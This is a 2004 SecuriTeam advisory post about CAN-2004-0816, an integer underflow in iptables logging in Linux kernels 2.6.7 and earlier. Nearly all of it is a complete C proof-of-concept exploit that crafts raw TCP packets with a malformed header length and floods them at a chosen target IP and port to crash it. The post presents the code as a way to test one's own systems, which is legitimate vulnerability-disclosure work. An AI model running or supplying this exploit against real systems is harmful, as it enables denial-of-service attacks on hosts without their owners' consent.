[UNIX] IPTables Log Integer Underflow (PoC)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/01/04

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      IPTables Log Integer Underflow (PoC)
    ------------------------------------------------------------------------

    SUMMARY

    An integer underflow in the firewall logging rules for iptables in Linux
    before version 2.6.8 allows remote attackers to cause a denial of service
    (application crash) via a malformed IP packet. The attached exploit code
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * Linux Kernel version 2.6.7 and prior

    Immune Systems:
     * Linux Kernel version 2.6.8 or newer

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0816>
    CAN-2004-0816

    Exploit:
    /*
    *
    * iptables.log.integer.underflow.POC.c
    *
    * (CAN-2004-0816, SUSE-SA:2004:037, SECU)
    *
    * felix__zhou _at_ hotmail _dot_ com
    *
    * */

    #include <stdio.h>
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <time.h>

    #pragma comment(lib,"ws2_32")

    static unsigned char dip[4];
    static unsigned int da;
    static unsigned short dp;
    static unsigned char dport[2];

    static unsigned char sip[4];
    static unsigned int sa;
    static unsigned short sp;
    static unsigned char sport[2];

    /*
    static void ip_csum(unsigned char *ip, unsigned int size, unsigned char
    *sum)
    {
    unsigned int csum = 0;
    unsigned char *p = ip;

    while (1 < size) {
    csum += (p[0] << 8) + p[1];
    p += 2;
    size -= 2;
    }

    if (size)
    csum += *p;

    csum = (csum >> 16) + (csum & 0xffff);
    csum += (csum >> 16);

    sum[0] = (((unsigned short)(~csum)) >> 8);
    sum[1] = ((((unsigned short)(~csum)) << 8) >> 8);
    }
    */

    static void tcp_csum(unsigned char *tcp, unsigned char *ip,
    unsigned int size, unsigned char *sum)
    {
    unsigned int csum = 0;
    unsigned char *p = tcp;

    while (1 < size) {
    csum += (p[0] << 8) + p[1];
    p += 2;
    size -= 2;
    }

    csum += (ip[12] << 8) + ip[13];
    csum += (ip[14] << 8) + ip[15];

    csum += (ip[16] << 8) + ip[17];
    csum += (ip[18] << 8) + ip[19];

    csum += 0x06;
    csum += 0x14;

    if (size)
    csum += *p;

    csum = (csum >> 16) + (csum & 0xffff);
    csum += (csum >> 16);

    sum[0] = (((unsigned short)(~csum)) >> 8);
    sum[1] = ((((unsigned short)(~csum)) << 8) >> 8);
    }

    static int work(SOCKET s)
    {
    DWORD ret = 1;
    unsigned char buf[1500];
    unsigned char *ip;
    unsigned char *tcp;
    unsigned int seq = 0x01;
    struct sockaddr_in host;

    ZeroMemory(buf, 1500);

    ip = buf;
    tcp = buf + 20;

    ip[0] = 0x45; /* ver & hlen */
    ip[3] = 0x28; /* tlen */
    ip[8] = 0x80; /* ttl */
    ip[9] = 0x06; /* protocol */
    ip[10] = ip[11] = 0;
    ip[12] = sip[0]; /* saddr */
    ip[13] = sip[1];
    ip[14] = sip[2];
    ip[15] = sip[3];
    ip[16] = dip[0]; /* daddr */
    ip[17] = dip[1];
    ip[18] = dip[2];
    ip[19] = dip[3];

    tcp[0] = sport[0];
    tcp[1] = sport[1];
    tcp[2] = dport[0]; /* dport */
    tcp[3] = dport[1];
    tcp[12] = 0x40; /* hlen */ /* HERE */
    tcp[13] = 0x02; /* flags */

    ZeroMemory(&host, sizeof(struct sockaddr_in));
    host.sin_family = AF_INET;
    host.sin_port = dp;
    host.sin_addr.s_addr = da;

    for (;; ) {
    tcp[4] = (seq >> 24); /* seq number */
    tcp[5] = ((seq << 8) >> 24);
    tcp[6] = ((seq << 16) >> 24);
    tcp[7] = ((seq << 24) >> 24);
    tcp[16] = tcp[17] = 0;
    seq ++;

    tcp_csum(tcp, ip, 0x14, tcp + 16);

    if (SOCKET_ERROR == sendto(s, buf, 0x28, 0,
    (SOCKADDR *)&(host), sizeof host)) {
    if (WSAEACCES != WSAGetLastError()) {
    printf("sendto() failed: %d\n",
    WSAGetLastError());

    ret = 1;
    } else {
    printf("You must be Administrator!\n");
    }

    break;
    }
    }

    return ret;
    }

    static char usage[] = "Usage: %s dip dport sip sport\n";

    int main(int argc, char **argv)
    {
    WORD ver = MAKEWORD(2, 2);
    WSADATA data;
    unsigned char *p;
    SOCKET s;
    int ret = 1;
    BOOL eopt = TRUE;

    if (5 != argc) {
    printf(usage, argv[0]);
    goto out;
    }

    if (INADDR_NONE == (da = inet_addr(argv[1]))) {
    printf("dest ip address is NOT valid!\n");
    printf(usage, argv[0]);
    goto out;
    }

    p = (unsigned char *)&da;
    dip[0] = p[0];
    dip[1] = p[1];
    dip[2] = p[2];
    dip[3] = p[3];

    dp = atoi(argv[2]);
    dport[0] = ((dp << 16) >> 24);
    dport[1] = ((dp << 24) >> 24);

    if (INADDR_NONE == (sa = inet_addr(argv[3]))) {
    printf("source ip address is NOT valid!\n");
    printf(usage, argv[3]);
    goto out;
    }

    p = (unsigned char *)&sa;
    sip[0] = p[0];
    sip[1] = p[1];
    sip[2] = p[2];
    sip[3] = p[3];

    sp = atoi(argv[4]);
    sport[0] = ((sp << 16) >> 24);
    sport[1] = ((sp << 24) >> 24);

    srand((unsigned int)time(0));

    if (WSAStartup(ver, &data)) {
    printf("WSAStartup() failed\n");
    goto out;
    }

    if (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0,
    0)))
    goto err;

    if (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL,
    (char *)&eopt, sizeof(eopt)))
    goto err1;

    work(s);

    err1:
    closesocket(s);
    err:
    WSACleanup();

    out:
    return ret;
    }

    ADDITIONAL INFORMATION

    The information has been provided by felix zhou.

    ========================================

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